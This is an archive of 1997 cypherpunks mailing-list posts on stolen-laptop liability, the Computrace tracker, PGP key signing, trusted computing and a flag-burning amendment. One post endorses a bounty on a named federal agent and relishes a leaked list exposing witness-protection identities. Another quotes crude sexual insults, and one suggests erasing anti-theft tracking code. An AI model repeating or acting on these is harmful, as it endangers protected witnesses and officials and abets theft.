Date: Thu, 12 Jun 1997 13:46:41 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <199706120120.SAA05683@mat.wcs.net>
Message-ID: <19970611223934.43941@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Jun 11, 1997 at 09:37:42PM -0500, William H. Geiger III wrote:
[...]
>The end buyer should not be held responcible for the illegal activities of
>the seller.

Regardless of responsibility, if the original owner can prove it is
stolen goods, the end buyer is out of luck -- clearly the original
owner should get their goods back.  And if the end buyer provably has
clear knowledge that it is stolen property, they are an accesssory to
the crime. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 12 Jun 1997 12:03:18 +0800
To: bennett_t1@popmail.firn.edu
Subject: Re: mailing list
In-Reply-To: <339F56B1.75C9@popmail.firn.edu>
Message-ID: <199706120350.WAA13493@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <339F56B1.75C9@popmail.firn.edu>, on 06/11/97 
   at 08:53 PM, bennett_t1@popmail.firn.edu said:

>Tom McClanahan wrote:
>> 
>> I would like to be on your mailing list.
>> 
>> minuteman@fuse.net
>> 
>> Thank you.
>IMHO, anyone dumb enough to send this shit shouldn't *be* on a mailing
>list.

Considering some of the posts I'v seen he should fit right in. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Svlsa3M0Jr1HG3jbwUmW6FsetLsNMHrCbYrbx7BFo8Uk3TydpVLP/nSascCPcLvR
e4I6WXoZlff0cYtzxIQa9smdn3Us9e6xkWC8gArWxrQGF5cCgIXgOR9oNpdx0COZ
VFsnq4gwPz4=
=AjYU
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 12 Jun 1997 13:32:43 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [IMPORTANT] e$
In-Reply-To: <199706120220.TAA03032@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970611232037.38478B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 11 Jun 1997, Huge Cajones Remailer wrote:
I think Vulis needs each of us to send ten copies of this back to him.

> May Tim C[ocksucker] May's forgeries get stuck up 
> his ass so he'll have to shit through his filthy 
> mouth for the rest of its miserable life.
> 
>         \\\
>         {OQ} Tim C[ocksucker] May
>          (_)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joshua E. Hill" <jehill@w6bhz.calpoly.edu>
Date: Thu, 12 Jun 1997 15:15:21 +0800
To: tcmay@got.net
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v03102802afc52bfb5491@[207.167.93.63]>
Message-ID: <199706120709.AAA05445@hyperion.boxes.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim May said:
> "Sigh." Why do people persist in thinking that a photo ID is useful for PGP
> keysignings?
Because _these_ people _are_ binding true names to keys.  That's what
_this_ is about.  

These people are saying "I know of sufficient proof that this 
person is who they say they are".  You can do this with a person 
you know without the aid of photo id, even if the "true name" isn't 
in the key. Alternatively, (as is the case here) you can verify the 
identify of unknown people with sufficient photo id.

And so each person becomes their own Verisign...

That sounds a lot like the web of trust... each person assigns a
certain amount of trust to others... If I believe that Joe makes 
absolutely certain that any key he signs is valid then I assign him
a high trust.  If Joe chooses to sign somebody's key because he saw
five forms of ID and did a credit check, spiffy.  If Joe signs a
key because it happens to be his brother, even better.  But the point
is that I trust Joe.

How people choose to verify other's identity is somewhat irreverent.  
More important, I think, is the question of who to trust.  So Tim,
if you think that photo ID is a poor method of verifying someone's
identity, doesn't sign a key on that alone.  Also make sure that the
people you assign trust to have the same ideas about photo id.

For others who don't share your thoughts on this matter, they can feel
free to trust photo ID.  And still others can trust them (thus trusting
photo ID by proxy)... But that's what the web of trust is about.  Each
person can trust different things (and people)...  I think that's what
makes the web of trust so flexible.  Each person is free to choose who
and what they trust.

				Josh

-----------------------------Joshua E. Hill-----------------------------
|         You never find a lost article until you replace it.          |
------------------------jehill@w6bhz.calpoly.edu------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 12 Jun 1997 15:20:02 +0800
To: cypherpunks@Algebra.COM
Subject: New key for shamrock@netcom.com
Message-ID: <3.0.2.32.19970612001637.00754e4c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

C'punks,

I am preparing to retire my old 1024 bit RSA key. It was generated 1/14/1993 
and good key hygiene suggests it is time to retire this key. What better time 
to generate a new key than now that PGP has moved away from shaky MD-5 and 
patent encumbered RSA to DSS and DH.

I would ask anyone that signed my old key to please sign my new key with 
fingerprint 4A17 A6D7 8E80 3B44 C196  F509 8971 9FA7 B663 B0FD.

The key is on the servers.

Thanks,
- --Lucky

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM5+iUwSQkem38rwFAQFQPAP/U8Ck6CYQUJI8W/TEf3BQDW1XF0YmYsF1
GcuIp9fYQnRXdB7fKdYvzSffaSs/N5TCjmyeqpTyuE9c7nFqIlu6L+iHoiwdaFdj
UR3DBesS1BpmA71kRKzyt3bue1qttz+dhbhcQFd421sPzkqA7gSkOaQzP1ujspI7
mNS8FH9LyGs=
=hwfW
-----END PGP SIGNATURE-----

--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 12 Jun 1997 15:32:41 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <3.0.32.19970611092701.00683c54@best.com>
Message-ID: <v03102803afc551b43153@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:22 AM -0700 6/11/97, Raymond Mereniuk wrote:

>I assume most notebooks which are recovered are found to be in the
>hands of a buyer rather than the person responsible for the actual
>theft.  But, the eventual buyer is indirectly responsible for the
>initial theft of the notebook.

I could not disagree more.

The buyer of some item, be it a laptop or a bicycle or a painting, is not
"responsible" in any way for actions taken by others at earlier times,
unless he speciffically commission a theft (as happens in some markets).

It may be that the buyer of some item may have taken away from him, as the
item was in fact stolen property within some reasonable time window (*),
but this has nothing whatsover to do with the buyer of some item being
"indirectly responsible" for the theft.

(* I mention "reasonable time window" because there are moves afoot to try
to have 50-year-old purchases of art negated, because of allegations of
Nazi looting.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Timmy May)
Date: Thu, 12 Jun 1997 13:22:06 +0800
To: cypherpunks@toad.com
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v03102802afc52bfb5491@[207.167.93.63]>
Message-ID: <e3668D88w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> (However, for those lacking photo IDs sufficient for Ed's purposes, I'm
> asking Eric Hughes (not his True Name) if I can borrow his badge laminator.

Is that the long-haired guy I had a dinner with once?  How time flies.

- Timmy May

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Thu, 12 Jun 1997 15:06:12 +0800
To: whgiii@amaranth.com (William H. Geiger III)
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <199706120058.TAA11167@mailhub.amaranth.com>
Message-ID: <199706120659.BAA01819@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



William H. Geiger III wrote:
> In <199706112341.QAA05443@mat.wcs.net>, on 06/11/97 
>    at 05:22 PM, "Raymond Mereniuk" <raymond@wcs.net> said:
> 
> >I assume most notebooks which are recovered are found to be in the  hands
> >of a buyer rather than the person responsible for the actual  theft. 
> >But, the eventual buyer is indirectly responsible for the  initial theft
> >of the notebook.
> 
> How is the buyer responsible even indirectly?
> 
> Someone puts an add in the paper NEC Laptop $1,500. I go and check it out
> and buy it. Should it be my respocibility to call NEC over in Japan and
> find out if it was reported stolen (if they even keep such records).
> Should I have to call the manufacture every time I buy a some used
> equipment? Perhaps I should have a background check done before I buy
> anything.
> 
> If anyone is responcible for the theft other than the theif is the person
> who was so carless with their equipment.

According to the law as I understand it, the stolen goods must be
returned to the original owner with no compensation from the owner. But
the buyer can, in theory, sue the seller (thief) for breach if the
implied warranty of title.

Is that correct?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Thu, 12 Jun 1997 15:41:40 +0800
To: shamrock@netcom.com (Lucky Green)
Subject: Re: PKCS-11 vs. CDSA APIs
In-Reply-To: <3.0.2.32.19970611230521.03bfe44c@netcom13.netcom.com>
Message-ID: <199706120731.DAA04752@pig.die.com>
MIME-Version: 1.0
Content-Type: text



Lucky Green wrote :

> 
> Furthermore, as William has mentioned in the past, encrypted instruction
> sets make decompiling and thereby reverse engineering the application next
> to impossible.

	Perhaps he has, but I believe I was the one to post about it
first.

	As you know, my fear is magic stuff in OS inner rings that
enforces social policies and perhaps also provides "sovereign right of
lawful access" to you know who...

	Encrypted code may be very difficult to decrypt, and if the OS
controls key management also nearly impossible to modify (presuming that
the encryption is not just XOR'd with the instruction stream  which
would allow trivial modification once the instructions were decrypted). 
That combination is nice for copyright enforcement, but sure has some
nasty other uses and is a fundemental enabling technology for such
future statist possiblities as restrictions on running modified or
unapproved software without a license to do so - a software developers
license say, or the old Internet drivers license. 

	I am sure that many businesses would be very happy if all their
PCs would only allow software that management approved to run - there
would be a huge market for such in fact... and probably a lot of the
public would willingly buy machines that would only run approved
software if they could pay less for the software or access first run
movies or other candy unavailable on free machines.

	It is really hard to think of a way of controlling what  the
sheeple do with their computers that does not depend on  hard encrypted
code in both OS and application - code that is decrypted only inside the
silicon of the CPU with precautions taken to make access to the
decrypted streams very difficult and expensive for hardware probers. 
Years of trying other methods have failed to produce something practical
from a cost and security standpoint; there are just too many smart and
persistant people around who will find a means of attacking anything
that is exposed.   

	But it is also obvious that there are billions of dollars in
revenue lost to software  pirates and additional sales of copyright works
that don't happen because the owners aren't happy if it is even remotely
possible to obtain pirate copies.  And money talks, and with those levels
of dollars involved one can expect a lot of things to happen, especially
in the current DC climate, and with the possiblity that such technology
will both provide the protection of intellectual property that the
big money interests want and the social control and surveillance that
the fascists want.

	The good part is that making the whole thing adaquately secure
is very hard and the attempt may fail,  the bad thing is that there very
well may be draconian laws that make any attempt to understand or 
modify the code running on one's computer a serious felony and people
may be locked up for years for just trying to determine what a program
is doing to them.  There have already been attempts to create these
laws.

	But I've said much of this before...

							Dave Emery
							die@die.com
							Weston, Mass.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 12 Jun 1997 21:34:24 +0800
To: Adam Shostack <adam@homeport.org>
Subject: Re: Flag burning vote TOMORROW and government-imposed ratings
In-Reply-To: <199706121208.IAA16778@homeport.org>
Message-ID: <Pine.GSO.3.95.970612062228.5130A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Jut woke up, but I would argue "no." This would be the first
constitutional weakening of the First Amendment ever. Hardly a move that
strengthens free speech protections. 

-Declan


On Thu, 12 Jun 1997, Adam Shostack wrote:

> | 	http://www.allpolitics.com/1997/gen/analysis/counterpoint/
> | 
> |         Counterpoint: Ban Flag Burning?
> | 
> |         It's baaaack.....! The House is set to vote June 12 on
> | 	a proposed amendment to the Constitution that would
> | 	ban flag desecration. Democratic Rep. William
> | 	Lipinksi, a lead sponsor, says the flag is too
> | 	important a symbol not to be protected, while ACLU
> | 	executive director Ira Glasser warns against
> | 	weakening the First Amendment.
> 
> 	Would a Flag Burning Ammendment give the court clear guidance
> that other offensive speech, not ammended against, is now more ok?
> 
> Adam
> 
> 
> 
> -- 
> "It is seldom that liberty of any kind is lost all at once."
> 					               -Hume
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 12 Jun 1997 20:17:08 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: New key for shamrock@netcom.com
In-Reply-To: <3.0.2.32.19970612001637.00754e4c@netcom13.netcom.com>
Message-ID: <199706121201.HAA17369@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970612001637.00754e4c@netcom13.netcom.com>, on 06/12/97 
   at 12:16 AM, Lucky Green <shamrock@netcom.com> said:


>C'punks,

>I am preparing to retire my old 1024 bit RSA key. It was generated
>1/14/1993  and good key hygiene suggests it is time to retire this key.
>What better time  to generate a new key than now that PGP has moved away
>from shaky MD-5 and  patent encumbered RSA to DSS and DH.

>I would ask anyone that signed my old key to please sign my new key with 
>fingerprint 4A17 A6D7 8E80 3B44 C196  F509 8971 9FA7 B663 B0FD.

>The key is on the servers.

>Thanks,
>--Lucky

Hi Lucky,

I hope that you generated a new RSA key also or I would hang onto that old
key. While DSS & DH are supported in PGP 5.0 it is not by the rest of us.
I have a feeling that PGP Inc. users will have to keep 2 keys for awhile
now.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5/mN49Co1n+aLhhAQERZAP+JtJ+M/t3NVdGPO6xutHYcG2gUqd3kv7u
0IWXOunjqC/b6ehSXBkoX2aF5BrCPCtV0CldeSRWqP40F4EZJ1G1qGWhxGIMQLB3
2QT94P9y5lCQyOnJPfOqvAxsMAsvKEn97mmEYGnCHbivCLN2+X3+Mbk4adG5AcAW
qf/WGPhuEsQ=
=LaLy
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 12 Jun 1997 20:24:23 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <19970611223934.43941@bywater.songbird.com>
Message-ID: <199706121218.HAA17552@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970611223934.43941@bywater.songbird.com>, on 06/11/97 
   at 10:39 PM, Kent Crispin <kent@songbird.com> said:

>On Wed, Jun 11, 1997 at 09:37:42PM -0500, William H. Geiger III wrote:
>[...]
>>The end buyer should not be held responcible for the illegal activities of
>>the seller.

>Regardless of responsibility, if the original owner can prove it is
>stolen goods, the end buyer is out of luck -- clearly the original owner
>should get their goods back.  And if the end buyer provably has clear
>knowledge that it is stolen property, they are an accesssory to the
>crime. 

I have no problem with the original owner getting his property back though
a reasonable statue of limitations should be set (7 yrs?).

Well "clear knowledge" is a rather tough one to prove and brings you into
gray areas of "well he *should* have known it was stolen" type of logic.
IMHO any criminal prosecution should be based on additional evidence other
than just possesion of the property and the word of an admitted felon (ie
the thief).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5/qF49Co1n+aLhhAQFqKQP9GDcJsUFxvAkY/W/DcR544WAx0YM/FeZY
l8WA07RW1cKmRKr4cr3VZB8uokTiNuzFS9JE9pbhOjZvPo9mVZvorLgjLHmwvkxG
dOB8fMMIGAcCIRNbejBuS2sNiDCwDIeNm7Gra9a8PSuMwZfEsq03o3z67lpJIcai
su9L2zrVTlY=
=hHJo
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Thu, 12 Jun 1997 22:34:19 +0800
To: cypherpunks@toad.com
Subject: Re: Photo ID is not needed for key signings...
Message-ID: <Pine.SOL.3.96.970612071503.3692A-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Joshua E. Hill (jehill@w6bhz.calpoly.edu) wrote:

> Because _these_ people _are_ binding true names to keys.  That's
> what _this_ is about.

No, they're binding supposedly government-issued ids to keys. There's a
difference.

There are three problems with signing keys based on government-issued ids.

 1. There's no link between a driver's license and an email address,
    so anyone with a license for 'Mark Grant' could claim to be the
    owner of the 'mark@unicorn.com' key.
 2. Governments will issue fake ids to their agents, so there's no 
    proof that that 'Mark Grant' is 'really' 'Mark Grant' and not
    'Joe Sasquatch, NSA, FBI, BATF'.
 3. Thieves have got fed up with faking individual licenses and can
    now do so wholesale; see the following from a recent RISKS
    Digest (18:94)

------------------------------
Date: Tue, 25 Mar 1997 16:39:50 -0500 (EST)
>From: GaryG4430@aol.com
Subject: Thieves steal license machines

Excuse me Sir, but would you watch my Golden Goose while I go get a cup of
coffee?

Published in the *Portland Oregonian*, 25 Mar 1997, p.2, Around the
Nation:

  Thieves steal license machines

  MIAMI - Last year, Florida bought computers to make driver's licenses
  that are virtually impossible to counterfeit.  But brazen South Florida
  thieves have been stealing the computers, sometimes later returning to the 
  scene to pick up accessories.  In seven burglaries at five virtually
  unprotected driver's license offices from Key Largo to Okeechobee, crooks have
  gathered the $15,000 computers, software and supplies for five complete
  systems -everything they would need to crank out the state's new 
  high-tech, counterfeit-resistant licenses.

Yup, only our high-tech systems can make our high-security, tamperproof,
extremely valuable documents.  And you can't just buy one of these system
just anywhere...

Gary Grossoehme, Oregon Electronics

  [Also commented on by Bob_Frankston@frankston.com, who notes that if the
  new licenses are considered "foolproof", it only increases their value!
  PGN]

------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Thu, 12 Jun 1997 20:50:09 +0800
To: Raymond Mereniuk <raymond@wcs.net>
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <199706112341.QAA05443@mat.wcs.net>
Message-ID: <Pine.LNX.3.96.970612074651.9609A-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 11 Jun 1997, Raymond Mereniuk wrote:

> This has been discussed on this list before, about 1 year ago.  The 
> Computrace software is installed on a place on the hard drive where 
> DOS utilities like Fdisk and Format can not get at it.  This is the 
> same as Diskmanager Version 7 or higher, Fdisk and Format will not 
> remove this version of Diskmanager.

There you go, assuming DOS is the centre of the universe again.
I haven't seen this, but there's a pretty good chance that reformatting
the hard disk as a Linux partition and installing LILO would clean
that nuisance right up.  (If it didn't, you could probably just
use your favorite disk editor to find the Computrace code and zero
it out.)

OC this is all above the means of the average laptop thief, but the
dedicated ones probably have a staff techie.

dave

-- David E. Smith, P O Box 324, Cape Girardeau MO 63702
(573)334-0950  dave@[clas.net | linuxware.com | ml.org]
PLEASE ensure your mailer acknowledges my Reply-To: hdr
Keywords: CPSR EFF ACLU DS6724 Delphi SF bureau42 Wicca
HWG Dilbert crypto Millennium Linux YDKJ PGP single! ;)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 12 Jun 1997 21:12:07 +0800
To: dsmith@prairienet.org
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <Pine.LNX.3.96.970612074651.9609A-100000@bureau42.ml.org>
Message-ID: <199706121302.IAA18075@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.96.970612074651.9609A-100000@bureau42.ml.org>, on 06/12/97 
   at 07:50 AM, "David E. Smith" <dave@bureau42.ml.org> said:

>On Wed, 11 Jun 1997, Raymond Mereniuk wrote:

>> This has been discussed on this list before, about 1 year ago.  The 
>> Computrace software is installed on a place on the hard drive where 
>> DOS utilities like Fdisk and Format can not get at it.  This is the 
>> same as Diskmanager Version 7 or higher, Fdisk and Format will not 
>> remove this version of Diskmanager.

>There you go, assuming DOS is the centre of the universe again. I haven't
>seen this, but there's a pretty good chance that reformatting the hard
>disk as a Linux partition and installing LILO would clean that nuisance
>right up.  (If it didn't, you could probably just use your favorite disk
>editor to find the Computrace code and zero it out.)

>OC this is all above the means of the average laptop thief, but the
>dedicated ones probably have a staff techie.

I would imagine that some enterprising programmer will write a program
that removes this crap from the users HD.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 12 Jun 1997 20:30:26 +0800
To: declan@well.com (Declan McCullagh)
Subject: Re: Flag burning vote TOMORROW and government-imposed ratings
In-Reply-To: <Pine.GSO.3.95.970611133503.12043H-100000@well.com>
Message-ID: <199706121208.IAA16778@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



| 	http://www.allpolitics.com/1997/gen/analysis/counterpoint/
| 
|         Counterpoint: Ban Flag Burning?
| 
|         It's baaaack.....! The House is set to vote June 12 on
| 	a proposed amendment to the Constitution that would
| 	ban flag desecration. Democratic Rep. William
| 	Lipinksi, a lead sponsor, says the flag is too
| 	important a symbol not to be protected, while ACLU
| 	executive director Ira Glasser warns against
| 	weakening the First Amendment.

	Would a Flag Burning Ammendment give the court clear guidance
that other offensive speech, not ammended against, is now more ok?

Adam



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 12 Jun 1997 23:37:44 +0800
To: "Joshua E. Hill" <tcmay@got.net
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v03102802afc52bfb5491@[207.167.93.63]>
Message-ID: <v03007868afc5c5dd69c9@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



IMHO - What you are really signing is the binding between the data
associated with the key (usually an email address) and the key.  You are
saying that the secret key holder is (one of the) person(s) who has access
to that account, and not some man in the middle in the middle.  If you ask
to see Lucky Green's, or Futplex's, or Black Unicorn's picture ID, you will
either see a forgery or an ID issued by an organization not interested in
birth certificates.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 12 Jun 1997 23:49:12 +0800
To: Mark Grant <cypherpunks@toad.com
Subject: Re: Photo ID is not needed for key signings...
In-Reply-To: <Pine.SOL.3.96.970612071503.3692A-100000@sirius.infonex.com>
Message-ID: <v03102800afc5c63790f4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:20 AM -0700 6/12/97, Mark Grant wrote:

>No, they're binding supposedly government-issued ids to keys. There's a
>difference.
>
>There are three problems with signing keys based on government-issued ids.
>

> 2. Governments will issue fake ids to their agents, so there's no
>    proof that that 'Mark Grant' is 'really' 'Mark Grant' and not
>    'Joe Sasquatch, NSA, FBI, BATF'.

I understand that "Joe Sasquatch" is actually the newly-issued name for the
BATFag formerly known as "Lon Horiuchi." He can run, but he can't hide
(forever).

(Talk about your assassination politics! The militias have a price on that
guy's head.)

The USG is of course one of the main liars about identity, using
government-issued credentials to lie about past and current identities.
Check into the so-called "Witness Security Program," aka WitSec. (Popularly
known as "Witness Protection.")

A recent vintage list of mappings between apparent True Names and
government-issued fake names, including faked credit reports (the three
major CRAs are of course complicit in this fakery), was floating around in
the underground community a few years ago...acquired from a government
surplus disk drive arrray bought in Martinsburg, W. Va. Many interesting
uses of such a list of stool pigeons and traitors.

Fascinating times, eh?

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 13 Jun 1997 12:15:55 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Flag burning vote TOMORROW and government-imposed ratings
In-Reply-To: <199706121208.IAA16778@homeport.org>
Message-ID: <3.0.1.32.19970612083739.0074149c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>> 	Would a Flag Burning Amendment give the court clear guidance
>> that other offensive speech, not amended against, is now more ok?

At 06:23 AM 6/12/97 -0700, Declan wrote:
>Just woke up, but I would argue "no."  This would be the first
>constitutional weakening of the First Amendment ever. 
>Hardly a move that strengthens free speech protections. 

Normally when the government wants to weaken the First Amendment,
it does it through the courts, or makes laws nationalizing the spectrum :-)  
This isn't the first time CONgress has tried a flag-burning amendment; 
they tried it under George Bush* as well, and failed to get it through.
Does this look any different, under a Republican Congress?

[As somebody said, if you wrapped yourself in the flag as much as Bush did,
you'd worry about flag-burning too....  Clinton doesn't do it as much,
but he's no more a friend of civil liberties, and if the polls said
51% of the voters want him to sign it, he probably would.]

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Thu, 12 Jun 1997 23:46:49 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
Message-ID: <3.0.32.19970612083315.006c1b68@best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:22 PM 6/11/97 +0000, Raymond Mereniuk wrote:
>
>>
>> >                     The call goes to a Canadian office
>> >                     that in turn phones the cops. So far,
>> >                     it has a 100 percent recovery rate. 
>> >
>> ======  100% of WHAT?  Systems with it installed which are stolen?   How
>> would you know what systems do NOT call in?  
>> It's like the question the clerk asks at the airport: "Did anyone put
>> anything in your luggage you don't know anything about?"
>> 
>> Now that the word is out, of course, the wily thief will eschew pluggin in
>> until the hard drive is reformatted and installed
>> with a clean OS.  As usual: the stupid will be caught. 
>
>This has been discussed on this list before, about 1 year ago.  The 
>Computrace software is installed on a place on the hard drive where 
>DOS utilities like Fdisk and Format can not get at it.  This is the 
>same as Diskmanager Version 7 or higher, Fdisk and Format will not 
>remove this version of Diskmanager.
>

